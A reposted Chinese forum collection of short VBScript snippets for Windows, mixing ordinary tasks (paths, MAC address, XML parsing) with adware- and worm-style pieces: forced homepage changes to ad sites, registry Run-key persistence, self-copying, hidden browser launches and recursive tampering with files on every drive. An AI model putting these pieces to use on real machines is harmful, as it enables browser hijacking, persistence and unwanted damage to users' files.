【转帖】常用VBS脚本

1.VBS获取路径集合
1.1.VBS获取系统安装路径

set WshShell = WScript.CreateObject(“WScript.Shell”)
strWinDir = WshShell.ExpandEnvironmentStrings(“%WinDir%”)
上面的代码意思是先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。
1.2.C:\Program Files路径
msgbox CreateObject(“WScript.Shell”).ExpandEnvironmentStrings(“%ProgramFiles%”)
1.3.C:\Program Files\Common Files路径

msgbox CreateObject(“WScript.Shell”).ExpandEnvironmentStrings(“%CommonProgramFiles%”)
2.给桌面添加网址快捷方式

set gangzi = WScript.CreateObject(“WScript.Shell”)
strDesktop = gangzi.SpecialFolders(“Desktop”)
set oShellLink = gangzi.CreateShortcut(strDesktop & “\Internet Explorer.lnk”)
oShellLink.TargetPath = “http://www.9934.cn“;
oShellLink.Description = “Internet Explorer”
oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
oShellLink.Save
3.给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set objShell = CreateObject(“Shell.Application”)
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self    

Set objShell = WScript.CreateObject(“WScript.Shell”)
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & “\小游戏网站.url”)
objURLShortcut.TargetPath = “http://www.4000.cc/?ie“;
objURLShortcut.Save
4.删除指定目录指定后缀文件

On Error Resume Next
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile “C:\*.vbs”, True
Set fso = Nothing
[code]
上面代码为删除C盘根目录下后缀为vbs的文件
5.VBS改主页
[code]
Set oShell = CreateObject(“WScript.Shell”)
oShell.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.654.la“;
6.VBS加启动项

Set oShell=CreateObject(“Wscript.Shell”)
oShell.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd”,”cmd.exe”
7.VBS复制自己

复制自己到C盘的huan.vbs
[code]
set copy1=createobject(“scripting.filesystemobject”)
copy1.getfile(wscript.scriptfullname).copy(“c:\huan.vbs”)
复制本vbs目录下的game.exe文件到c盘的gangzi.exe

set copy1=createobject(“scripting.filesystemobject”)
copy1.getfile(“game.exe”).copy(“c:\gangzi.exe”)
8.VBS获取系统临时目录

Dim fso
Set fso = CreateObject(“Scripting.FileSystemObject”)
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
9.就算代码出错 依然继续执行

On Error Resume Next
10.VBS打开网址

Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run(“http://www.4000.cc/“;)
11.VBS发送邮件

NameSpace = “http://schemas.microsoft.com/cdo/configuration/“;
Set Email = CreateObject(“CDO.Message”)
Email.From = “发件@qq.com”
Email.To = “收件@qq.com”
Email.Subject = “Test sendmail.vbs”
Email.Textbody = “OK!”
Email.AddAttachment “C:\1.txt”
With Email.Configuration.Fields
.Item(NameSpace&”sendusing”) = 2
.Item(NameSpace&”smtpserver”) = “smtp.邮件服务器.com”
.Item(NameSpace&”smtpserverport”) = 25
.Item(NameSpace&”smtpauthenticate”) = 1
.Item(NameSpace&”sendusername”) = “发件人用户名”
.Item(NameSpace&”sendpassword”) = “发件人密码”
.Update
End With
Email.Send
12.VBS结束进程

strComputer = “.”
Set objWMIService = GetObject _
    (“winmgmts:\\” & strComputer & “\root\cimv2”)
Set colProcessList = objWMIService.ExecQuery _
    (“Select * from Win32_Process Where Name = ‘Rar.exe'”)
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
13.VBS隐藏打开网址
13.1.部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用

createObject(“wscript.shell”).run “iexplore http://www.gangzi.org/”;,0
13.2.兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。(本方法由刚子原创)

Set objws=WScript.CreateObject(“wscript.shell”)
objws.Run “””C:\Program Files\Internet Explorer\iexplore.exe””www.baidu.com”,vbhide
14.VBS遍历硬盘删除指定文件名(下面我增加了一个先结束进程在删除的功能,不需要可以去掉)

On Error Resume Next
Dim fPath
strComputer = “.”
Set objWMIService = GetObject _
    (“winmgmts:\\” & strComputer & “\root\cimv2”)
Set colProcessList = objWMIService.ExecQuery _
    (“Select * from Win32_Process Where Name = ‘gangzi.exe'”)
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)
Set colDirs = objWMIService. _
ExecQuery(“Select * from Win32_Directory where name LIKE ‘%c:%’ or name LIKE ‘%d:%’ or name LIKE ‘%e:%’ or name LIKE ‘%f:%’ or name LIKE ‘%g:%’ or name LIKE ‘%h:%’ or name LIKE ‘%i:%'”)
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
For Each objDir in colDirs
fPath = objDir.Name & “\gangzi.exe”
objFSO.DeleteFile(fPath), True
Next
15.VBS获取网卡MAC地址

Dim mc,mo
Set mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox “本机网卡MAC地址是: ” & mo.MacAddress
Exit For
End If
Next
16.VBS获取本机注册表主页地址

Set reg=WScript.CreateObject(“WScript.Shell”)
startpage=reg.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”)
MsgBox startpage
17.VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话。

On Error Resume Next
Set fso = CreateObject(“Scripting.FileSystemObject”)
Co = VbCrLf & “路过。。。”

For Each i In fso.Drives
  If i.DriveType = 2 Then
    GF fso.GetFolder(i & “\”)
  End If
Next

Sub GF(fol)
  Wh fol
  Dim i
  For Each i In fol.SubFolders
    GF i
  Next
End Sub

Sub Wh(fol)
  Dim i
  For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = “shtml” Then
      fso.OpenTextFile(i,8,0).Write Co
    End If
  Next
End Sub
18.获取计算机所有盘符

Set fso=CreateObject(“scripting.filesystemobject”)
Set objdrives=fso.Drives ‘取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives   ‘遍历磁盘
MsgBox objdrive
Next
19.VBS给本机所有磁盘根目录创建文件 (刚子原创)

On Error Resume Next
Set fso=CreateObject(“Scripting.FileSystemObject”)
Set gangzis=fso.Drives ‘取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis   ‘遍历磁盘
Set TestFile=fso.CreateTextFile(“”&gangzi&”\新建文件夹.vbs”,Ture)
TestFile.WriteLine(“By www.gangzi.org“)
TestFile.Close
Next
20.VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe

set fs = CreateObject(“Scripting.FileSystemObject”)

for each drive in fs.drives
fstraversal drive.rootfolder
next

sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = “123.exe” then file.name = “321.exe”
next
end sub
21.VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)

str=“这里是你要复制到剪贴板的字符串”
Set ws = wscript.createobject(“wscript.shell”)
ws.run “mshta vbscript:clipboardData.SetData(“+””””+”text”+””””+”,”+””””&str&””””+”)(close)”,0,true
22.QQ自动发消息(保存BVS运行即可看到效果,希望高手举一反三,刚子原创)

On Error Resume Next
str=”我是笨蛋/qq”
Set WshShell=WScript.CreateObject(“WScript.Shell”)
WshShell.run “mshta vbscript:clipboardData.SetData(“+””””+”text”+””””+”,”+””””&str&””””+”)(close)”,0
WshShell.run “tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1”,0,true
WScript.Sleep 3000
WshShell.SendKeys “^v”
WshShell.SendKeys “%s”
23.VBS隐藏文件

Set objFSO = CreateObject(“Scripting.FileSystemObject”)
Set objFile = objFSO.GetFile(“F:\软件大赛\show.txt”)
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If
24.VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)

Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,””)
25.VBS删除桌面IE图标(非快捷方式)

Set oShell = CreateObject(“WScript.Shell”)
oShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon”,1,”REG_DWORD”
26.VBS获取自身文件名

Set fso = CreateObject(“Scripting.FileSystemObject”)
msgbox WScript.ScriptName
27.VBS读取Unicode编码的文件

Set objFSO = CreateObject(“Scripting.FileSystemObject”)
Set objFile = objFSO.OpenTextFile(“gangzi.txt”,1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
添加快捷方式

set oShellLink = WshShell.CreateShortcut(QuickPath & “\启动 Internet Explorer 浏览器.lnk”)
oShellLink.TargetPath = Url
oShellLink.Description = “Internet Explorer”
oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
oShellLink.Save
修改文件权限

Sub editNTFSACL(fileName,Perm)

Set objFile = objFSO.GetFile(fileName)
objFile.Attributes= 4 or 5

‘ WSHShell.run “echo Y|cacls ” & fileName & ” /G Everyone:” & Perm & ” /C”
End sub
删除该删的东西

Dim delIePath
delIePath = QuickPath & “\Internet Explorer.lnk”

if objFSO.FileExists(delIePath) Then objFSO.DeleteFile(delIePath)

delIePath = QuickPath & “\启动 Internet Explorer 浏览器.lnk”
if objFSO.FileExists(delIePath) Then objFSO.DeleteFile(delIePath)

VBS读取XML文件

XML文件:

<?xml version=”1.0″ encoding=”gb2312″?>
<root>
    <list>
        <week>星期一</week>
        <menu1>aaa</menu1>
        <menu2>bbb</menu2>
        <menu3>ccc</menu3>
    </list>
    <list>
        <week>星期二</week>
        <menu1>111</menu1>
        <menu2>222</menu2>
        <menu3>333</menu3>
    </list>
    <list>
        <week>星期三</week>
        <menu1>hello</menu1>
        <menu2>hi</menu2>
        <menu3>en</menu3>
    </list>
</root>

VBS代码:

msgbox GetXML(“menu.xml”)

Function GetXml (ByVal strXmlFilePath)
    Dim xmlDoc,xmlRoot
    Dim num
  
    Set xmlDoc = CreateObject(“Microsoft.XMLDOM”)
    xmlDoc.async = False
    xmlDoc.load strXmlFilePath  
    If xmlDoc.parseError.errorCode <> 0 Then
            GetXml “Error:”  & Chr(13) &  xmlDoc.parseError.reason
            Exit Function              
    End If
    Set xmlRoot = xmlDoc.documentElement.selectSingleNode(“//root”)              
    
    num=xmlRoot.childNodes.length-1
        
    For i=0  To num
    
        tmpWeek=xmlRoot.childNodes.item(i).childNodes.item(0).text
        tmpMenu1=xmlRoot.childNodes.item(i).childNodes.item(1).text
        tmpMenu2=xmlRoot.childNodes.item(i).childNodes.item(2).text
        tmpMenu3=xmlRoot.childNodes.item(i).childNodes.item(3).text    
                    
        strXML=strXML & tmpWeek & “:” &    tmpMenu1 & “,” & tmpMenu2 & “,” & tmpMenu3 & vbcrlf        

    Next  
      
    GetXml = strXML
End Function